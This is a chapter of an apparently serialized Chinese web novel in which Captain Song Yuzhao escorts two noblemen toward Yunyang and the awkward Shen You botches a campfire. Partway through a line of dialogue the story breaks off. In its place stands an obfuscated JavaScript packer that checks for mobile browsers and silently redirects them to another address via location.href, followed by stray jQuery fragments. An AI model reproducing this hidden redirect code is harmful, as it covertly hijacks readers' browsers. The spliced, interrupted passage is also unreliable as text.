34. 第三十四章

作品:《她不卸甲

    “既然宋校尉要我做你的心腹,我也自问尽心尽力,可宋校尉似乎并不信任我这个心腹。一个不被信任的心腹,又能为校尉带来什么呢?”


    在讨价还价这件事上,沈佑倒难得有几分天赋。


    “沈公子若一直以平日那副德行示人,那我也不知何时能放心将事交给你做了。”


    宋玉昭摊摊手,故作为难。


    “行,”眼见自己气势要被比下去,沈佑心一横,干脆拍着胸膛对她道,“那此次云阳一行,我必定让宋校尉看见我的价值,届时若宋校尉有事吩咐,尽管放心便是。”


    宋玉昭原本只是杀杀他的威风,没想到他还真来劲了。


    听他这么一说,她倒还真有些期待,竟有些迫不及待想看看眼前这位成日不着正调的沈公子,正经起来究竟能做出一番什么大事业。


    *


    前去云阳一行是在两日后出发的。


    谢珽和谢照与原本也没打算在梁州逗留太久,前线战况又变化莫测,自然是越早出发越好。


    梁州至云阳不过两日行程,宋玉昭按照孟元修的吩咐,点了七百精骑相随,既能保证谢珽和谢照与二人在前线的安全,又不至于太过引人注目。


    这一路上,谢照与一直和宋玉昭保持着不远不近的距离,除了时不时凑上来对宋玉昭嘘寒问暖,其余大多时候都保持着一种公事公办的态度。


    可宋玉昭总觉得哪里怪怪的,似乎总有一道眼神落在自己身上,让她浑身不舒服。


    她领着一众将士走在最前头,也不好频繁回头寻找那视线的来源,只在中途扎营休息的时候悄悄在人群中查找过几次。


    傍晚时分,将士们就地扎营,宋玉昭的目光不动声色在人群中掠过,最后停留在远处刚生起来的火堆前。


    谢照与和谢珽是此行是奉命私访,二人为了掩人耳目,身上佩的皆是军中的铠甲,可浑身气质自然和行伍之人截然不同。


    宋玉昭这个角度刚好看见他们的侧脸,围坐在火堆前的二人正低头说着什么,谢照与时不时抿唇轻笑一声,映入宋玉昭眼中的身影与她记忆深处的那人格外不同。


    不知是因为今晚的谢照与太过温润,还是因为他们面前的火光分外刺眼,宋玉昭的余光瞥见一旁的谢珽,竟无端觉得他含笑的双眸被泛黄的火光染上一丝危险的气息。


    她正这么想着,那双微微上挑的眼睛骤然一抬,刚好同她探究的目光相触。


    不过短短一瞬,宋玉昭迅速移开视线,待再次望向那边时,方才与她对视的那道目光早已移开,谢珽勾着唇侧目望着谢照与,二人仍在说说笑笑,仿佛刚才那一瞬的目光相接只是她的错觉。


    可心中的那股奇怪的感觉并未消散。


    她低头暗忖,从前似乎并未和谢珽有过什么交集,就算将前世今生都算上,她与谢珽见面的次数一只手都能数得过来。


    在她的印象里,若说谢照与是个金玉其外败絮其中的窝囊废,他谢珽便是个途有几分才能却只折腾着自己享乐的自私鬼。


    倒是难怪他们二人自幼交好。


    只是不知皇上究竟是怎么想的,偏偏派了他们二人一同前来私访边关。


    “校尉。”


    正胡思乱想之时,沈佑不知从哪捡来一堆干柴,就这么随手仍在帐前,身上被柴和干草压得有些发皱,袖口被他自己挽了起来,露出的手腕被冻得有些发红。


    冷风吹得人一个哆嗦,他抬手擦了擦头上根本没来得及冒出来的汗,对宋玉昭道,“校尉,这天这么冷,你也一定冻坏了吧?这是我刚捡回来的,咱们也生些火暖和暖和。”


    他说着就搓搓手蹲下,往手心哈了口热气,然后就开始乐呵呵整理被他仍在地上的那堆乱七八糟的柴火。


    前天刚到梁州时还信誓旦旦说要让宋玉昭看到他的“价值”,如今这不过一转眼的功夫,他那股傲气早不知又被仍哪儿去了。


    而且,宋玉昭低头看他埋头在那堆……呃,略微有些奇形怪状的柴堆里奋力翻找的样子,觉得他这骨气怕也不是一时半会儿就能找回来的。


    “这个是干的,还有这个,摆下面,火着的快。”


    不知是有意无意,他一边翻找一边嘀咕,将宋玉昭的思绪搅得稀烂,也懒得再想谢珽的事了。


    感受到头顶有道目光一直停留在自己身上,沈佑心中莫名有些自豪,他抬起头,莫名有些自豪,道,“校尉快去帐中歇会吧,等火生起来再出来也不迟,稍后就好,不用在这儿等着的。”


    宋玉昭闻言翻了个白眼,一句话也懒得同他说,转身便入了帐。


    不知是低头打了盹儿的功夫,她朦胧间觉得鼻尖充斥着一股奇怪的味道,呛的人喉头发涩。


    又是做梦?这次又要梦到什么?还会和前世有关吗?


    “校尉!校尉!”


    声音从外头传来,是楚英的声音。


    宋玉昭起初还未反应过来,楚英为何会入她前世的梦?


    迷迷糊糊睁开眼,映入眼帘的便是满帐的烟气,往入口的方向看一眼,成团的浓烟正源源不断从顺着帘帐的缝隙往里钻。


    她被熏得猛咳两声,瞬间困意全无,起身咬着牙往外走去。


    “沈佑!你都干了些什么?!”


    厚重的帘帐被一把掀开,冷风裹挟这烟气往往远处散去,熏得附近的将士纷纷掩鼻。


    楚英揪着沈佑的领子将他从地上薅起来,二人脸上皆染了不少烟灰。


    “校尉,他……咳咳,他私自放火……”


    “我没有!”


    地上刚要燃起来的火苗被风吹灭,不消片刻,连冒着浓烟的木头也失去温度,沈佑踢了踢地上的一团柴和灰,见它们再没了死灰复燃的迹象,终于认命地垂下头。


    “好吧,”他语气蔫蔫的,被楚英拽着衣领,跟吃了败仗似的,连挣扎都不挣扎一下,摊手道,“太潮了,点不起来。”


    “噗嗤。”


    不远处传来一声笑声,宋玉昭和沈佑一同转头,正好对上谢珽的笑脸。


    他和谢照与注意到这边的动静,很快便起身张望,旁边一同围坐在火堆前的将士也纷纷起身看热闹。


    “宋校尉若是觉得冷,大可过来同我们一块挤挤,怎的竟搞成这副模样了?”


    谢照与面上也含着笑,点头道,“是啊,宋校尉若不嫌弃,不如过来一同说说话吧。”


    说着还往一侧让了让,原本刚好坐满一圈的位置,不多不少闪出一个人的空隙。


    他语气温和,话里话外也不似谢珽般带着股揶揄的味道,在这么多将士的注视下,一时倒真让人不好拒绝。


    “既如此,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177334|160399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那便恭敬不如从命了。”


    宋玉昭回头对楚英和沈佑使了个眼色,而后便干脆利落地往那边走去。


    楚英立刻会意,正要带着沈佑将帐前的一堆狼藉收拾好,谁知她手刚一松开,沈佑拔腿就跟着宋玉昭一同离开了。


    “哎……”


    紧随宋玉昭身后的背影头也不回,不知是真没看不懂宋玉昭的眼神,还是故意偷懒。


    身后未听见楚英跟上来追他的声音,沈佑眼睛紧紧跟着宋玉昭的脚后跟,心道,当然是故意没看懂的了。


    不过吧,倒也不只是为了偷懒。


    宋玉昭走到空位前和他们一同坐下,身侧便是谢照与,再旁边便是谢珽了。


    几乎是从她方才和谢珽对视过那一眼后,她总觉得那股被窥探的错觉越来越强烈,可偏偏她抬眸寻找时,却又察觉不出半分端倪。


    “宋校尉刚征完兵从雍州返回梁州,又马不停蹄随我们前去云阳,定是累坏了,若非照与舍不得与你匆匆一面便告辞,宋校尉还能喘口气。”


    谢珽生的一双桃花眼,嘴角始终带着一抹若有若无的浅笑,他对谢照与道,“照与,不是为兄说你,可你未免也太沉不住气了,余生冗长,宋校尉将来要可是要和你执手相伴这后半辈子的,又何必计较这一时一刻?”


    谢照与从小养在宫中,先帝和今上都对他百般宠爱,太子和敏王都同他兄弟相城,只不过他前往封地后脱离今上钳制,唯恐行差踏错落人口实,这才主动改口将他二人称作殿下。


    “殿下说笑了,宋姑娘是因公而来,这军中之事,又岂是我能左右的了的?”


    二人谈笑间气氛融洽,宋玉昭默默扫视一圈围坐在一起的将士,却见他们个个神色严肃,即便是跟在他们二人身边的亲卫也不曾搭过一句腔。


    呵,所谓三个女人一台戏,可她怎么瞧着,他们这两个男人凑到一块,也没见这戏随随便便就能垮台。


    目光转了一圈落到身侧,暖橙色的火光照到一旁的少年身上,宋玉昭愣了愣,顺着他伸到身前烤火的手往上看,不知不觉将耳边的虚情与假意抛诸脑后,眼前只剩下一双泛红发肿的手。


    沈佑自幼娇生惯养,事事都有吓人伺候着,哪里吃过连日奔波受冻的苦?


    更别说如今起居生活也要自己打理,这些日子下来,整个人自然憔悴了不少,连身上的衣服穿得也不怎么整齐。


    袖子是草草挽起来的,这会儿还没来得及放下来,腰间拴着衣服的带子也被胡乱团成一堆掖在腰侧,皱巴巴的。


    没了头两次见他时的那股矜贵娇气,他映入火光中的半张脸都在宋玉昭眼中渐渐清晰起来,变得更真实,更立体。


    尤其是他这副看似低头顺从,实则时刻留意着身边人说话声的样子,看起来才真的像是个举家蒙冤,不得不隐忍锋芒伺机寻仇的小狼。


    片刻后,宋玉昭收回目光,耳边恰好传来谢照与的声音。


    “宋姑娘似乎格外看重手下这个亲卫。”


    说话的语气并未与方才的谈笑有何不同,但轻轻扫在人心尖上,让人心脏骤然一紧。


    十余双目光齐齐转动,落在宋玉昭和她身后的沈佑身上。


    宋玉昭闻言一顿,面上不为所动,抬眉道,“不过是一个初来乍到的无名小卒,郡王殿下何出此言?”